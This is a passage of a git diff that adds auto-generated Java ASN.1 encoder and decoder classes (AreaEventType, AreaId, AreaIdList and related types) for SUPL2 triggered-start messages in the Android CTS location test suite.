+ * Creates a new locationEstimateType from encoded stream.
+ */
+ public static locationEstimateType fromPerAligned(byte[] encodedBytes) {
+ locationEstimateType result = new locationEstimateType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "locationEstimateType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class startTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_startTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public startTimeType() {
+ super();
+ setValueRange("0", "2678400");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_startTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_startTimeType != null) {
+ return ImmutableList.of(TAG_startTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new startTimeType from encoded stream.
+ */
+ public static startTimeType fromPerUnaligned(byte[] encodedBytes) {
+ startTimeType result = new startTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new startTimeType from encoded stream.
+ */
+ public static startTimeType fromPerAligned(byte[] encodedBytes) {
+ startTimeType result = new startTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "startTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class stopTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_stopTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public stopTimeType() {
+ super();
+ setValueRange("0", "11318399");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_stopTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_stopTimeType != null) {
+ return ImmutableList.of(TAG_stopTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new stopTimeType from encoded stream.
+ */
+ public static stopTimeType fromPerUnaligned(byte[] encodedBytes) {
+ stopTimeType result = new stopTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new stopTimeType from encoded stream.
+ */
+ public static stopTimeType fromPerAligned(byte[] encodedBytes) {
+ stopTimeType result = new stopTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "stopTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class areaIdListsType
+ extends Asn1SequenceOf<AreaIdList> {
+ //
+
+ private static final Asn1Tag TAG_areaIdListsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public areaIdListsType() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_areaIdListsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_areaIdListsType != null) {
+ return ImmutableList.of(TAG_areaIdListsType);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new areaIdListsType from encoded stream.
+ */
+ public static areaIdListsType fromPerUnaligned(byte[] encodedBytes) {
+ areaIdListsType result = new areaIdListsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new areaIdListsType from encoded stream.
+ */
+ public static areaIdListsType fromPerAligned(byte[] encodedBytes) {
+ areaIdListsType result = new areaIdListsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public AreaIdList createAndAddValue() {
+ AreaIdList value = new AreaIdList();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("areaIdListsType = [\n");
+ final String internalIndent = indent + " ";
+ for (AreaIdList value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AreaEventParams = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventType.java
new file mode 100755
index 0000000..14d6d5b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventType.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class AreaEventType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ enteringArea(0),
+ insideArea(1),
+ outsideArea(2),
+ leavingArea(3),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_AreaEventType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AreaEventType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AreaEventType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AreaEventType != null) {
+ return ImmutableList.of(TAG_AreaEventType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new AreaEventType from encoded stream.
+ */
+ public static AreaEventType fromPerUnaligned(byte[] encodedBytes) {
+ AreaEventType result = new AreaEventType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AreaEventType from encoded stream.
+ */
+ public static AreaEventType fromPerAligned(byte[] encodedBytes) {
+ AreaEventType result = new AreaEventType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "AreaEventType = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaId.java
new file mode 100755
index 0000000..0c91904
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaId.java
@@ -0,0 +1,640 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class AreaId extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_AreaId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "AreaId: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public AreaId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AreaId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AreaId != null) {
+ return ImmutableList.of(TAG_AreaId);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new AreaId from encoded stream.
+ */
+ public static AreaId fromPerUnaligned(byte[] encodedBytes) {
+ AreaId result = new AreaId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AreaId from encoded stream.
+ */
+ public static AreaId fromPerAligned(byte[] encodedBytes) {
+ AreaId result = new AreaId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $GSMAreaId(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new GSMAreaId();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GSMAreaId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $WCDMAAreaId(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new WCDMAAreaId();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WCDMAAreaId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $CDMAAreaId(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new CDMAAreaId();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CDMAAreaId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $HRPDAreaId(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new HRPDAreaId();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? HRPDAreaId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $UMBAreaId(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new UMBAreaId();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UMBAreaId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $LTEAreaId(Asn1Tag.fromClassAndNumber(2, 5),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new LTEAreaId();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LTEAreaId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $WLANAreaId(Asn1Tag.fromClassAndNumber(2, 6),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new WLANAreaId();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WLANAreaId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $WiMAXAreaId(Asn1Tag.fromClassAndNumber(2, 7),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new WimaxAreaId();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxAreaId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isGSMAreaId() {
+ return !hasExtensionValue() && Select.$GSMAreaId == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isGSMAreaId}.
+ */
+ @SuppressWarnings("unchecked")
+ public GSMAreaId getGSMAreaId() {
+ if (!isGSMAreaId()) {
+ throw new IllegalStateException("AreaId value not a GSMAreaId");
+ }
+ return (GSMAreaId) element;
+ }
+
+ public void setGSMAreaId(GSMAreaId selected) {
+ selection = Select.$GSMAreaId;
+ extension = false;
+ element = selected;
+ }
+
+ public GSMAreaId setGSMAreaIdToNewInstance() {
+ GSMAreaId element = new GSMAreaId();
+ setGSMAreaId(element);
+ return element;
+ }
+
+
+
+ public boolean isWCDMAAreaId() {
+ return !hasExtensionValue() && Select.$WCDMAAreaId == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isWCDMAAreaId}.
+ */
+ @SuppressWarnings("unchecked")
+ public WCDMAAreaId getWCDMAAreaId() {
+ if (!isWCDMAAreaId()) {
+ throw new IllegalStateException("AreaId value not a WCDMAAreaId");
+ }
+ return (WCDMAAreaId) element;
+ }
+
+ public void setWCDMAAreaId(WCDMAAreaId selected) {
+ selection = Select.$WCDMAAreaId;
+ extension = false;
+ element = selected;
+ }
+
+ public WCDMAAreaId setWCDMAAreaIdToNewInstance() {
+ WCDMAAreaId element = new WCDMAAreaId();
+ setWCDMAAreaId(element);
+ return element;
+ }
+
+
+
+ public boolean isCDMAAreaId() {
+ return !hasExtensionValue() && Select.$CDMAAreaId == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isCDMAAreaId}.
+ */
+ @SuppressWarnings("unchecked")
+ public CDMAAreaId getCDMAAreaId() {
+ if (!isCDMAAreaId()) {
+ throw new IllegalStateException("AreaId value not a CDMAAreaId");
+ }
+ return (CDMAAreaId) element;
+ }
+
+ public void setCDMAAreaId(CDMAAreaId selected) {
+ selection = Select.$CDMAAreaId;
+ extension = false;
+ element = selected;
+ }
+
+ public CDMAAreaId setCDMAAreaIdToNewInstance() {
+ CDMAAreaId element = new CDMAAreaId();
+ setCDMAAreaId(element);
+ return element;
+ }
+
+
+
+ public boolean isHRPDAreaId() {
+ return !hasExtensionValue() && Select.$HRPDAreaId == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isHRPDAreaId}.
+ */
+ @SuppressWarnings("unchecked")
+ public HRPDAreaId getHRPDAreaId() {
+ if (!isHRPDAreaId()) {
+ throw new IllegalStateException("AreaId value not a HRPDAreaId");
+ }
+ return (HRPDAreaId) element;
+ }
+
+ public void setHRPDAreaId(HRPDAreaId selected) {
+ selection = Select.$HRPDAreaId;
+ extension = false;
+ element = selected;
+ }
+
+ public HRPDAreaId setHRPDAreaIdToNewInstance() {
+ HRPDAreaId element = new HRPDAreaId();
+ setHRPDAreaId(element);
+ return element;
+ }
+
+
+
+ public boolean isUMBAreaId() {
+ return !hasExtensionValue() && Select.$UMBAreaId == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isUMBAreaId}.
+ */
+ @SuppressWarnings("unchecked")
+ public UMBAreaId getUMBAreaId() {
+ if (!isUMBAreaId()) {
+ throw new IllegalStateException("AreaId value not a UMBAreaId");
+ }
+ return (UMBAreaId) element;
+ }
+
+ public void setUMBAreaId(UMBAreaId selected) {
+ selection = Select.$UMBAreaId;
+ extension = false;
+ element = selected;
+ }
+
+ public UMBAreaId setUMBAreaIdToNewInstance() {
+ UMBAreaId element = new UMBAreaId();
+ setUMBAreaId(element);
+ return element;
+ }
+
+
+
+ public boolean isLTEAreaId() {
+ return !hasExtensionValue() && Select.$LTEAreaId == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isLTEAreaId}.
+ */
+ @SuppressWarnings("unchecked")
+ public LTEAreaId getLTEAreaId() {
+ if (!isLTEAreaId()) {
+ throw new IllegalStateException("AreaId value not a LTEAreaId");
+ }
+ return (LTEAreaId) element;
+ }
+
+ public void setLTEAreaId(LTEAreaId selected) {
+ selection = Select.$LTEAreaId;
+ extension = false;
+ element = selected;
+ }
+
+ public LTEAreaId setLTEAreaIdToNewInstance() {
+ LTEAreaId element = new LTEAreaId();
+ setLTEAreaId(element);
+ return element;
+ }
+
+
+
+ public boolean isWLANAreaId() {
+ return !hasExtensionValue() && Select.$WLANAreaId == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isWLANAreaId}.
+ */
+ @SuppressWarnings("unchecked")
+ public WLANAreaId getWLANAreaId() {
+ if (!isWLANAreaId()) {
+ throw new IllegalStateException("AreaId value not a WLANAreaId");
+ }
+ return (WLANAreaId) element;
+ }
+
+ public void setWLANAreaId(WLANAreaId selected) {
+ selection = Select.$WLANAreaId;
+ extension = false;
+ element = selected;
+ }
+
+ public WLANAreaId setWLANAreaIdToNewInstance() {
+ WLANAreaId element = new WLANAreaId();
+ setWLANAreaId(element);
+ return element;
+ }
+
+
+
+ public boolean isWiMAXAreaId() {
+ return !hasExtensionValue() && Select.$WiMAXAreaId == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isWiMAXAreaId}.
+ */
+ @SuppressWarnings("unchecked")
+ public WimaxAreaId getWiMAXAreaId() {
+ if (!isWiMAXAreaId()) {
+ throw new IllegalStateException("AreaId value not a WiMAXAreaId");
+ }
+ return (WimaxAreaId) element;
+ }
+
+ public void setWiMAXAreaId(WimaxAreaId selected) {
+ selection = Select.$WiMAXAreaId;
+ extension = false;
+ element = selected;
+ }
+
+ public WimaxAreaId setWiMAXAreaIdToNewInstance() {
+ WimaxAreaId element = new WimaxAreaId();
+ setWiMAXAreaId(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "AreaId = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdList.java
new file mode 100755
index 0000000..09b92a9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdList.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AreaIdList extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AreaIdList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AreaIdList() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AreaIdList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AreaIdList != null) {
+ return ImmutableList.of(TAG_AreaIdList);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AreaIdList from encoded stream.
+ */
+ public static AreaIdList fromPerUnaligned(byte[] encodedBytes) {
+ AreaIdList result = new AreaIdList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AreaIdList from encoded stream.
+ */
+ public static AreaIdList fromPerAligned(byte[] encodedBytes) {
+ AreaIdList result = new AreaIdList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private AreaIdSet areaIdSet_;
+ public AreaIdSet getAreaIdSet() {
+ return areaIdSet_;
+ }
+ /**
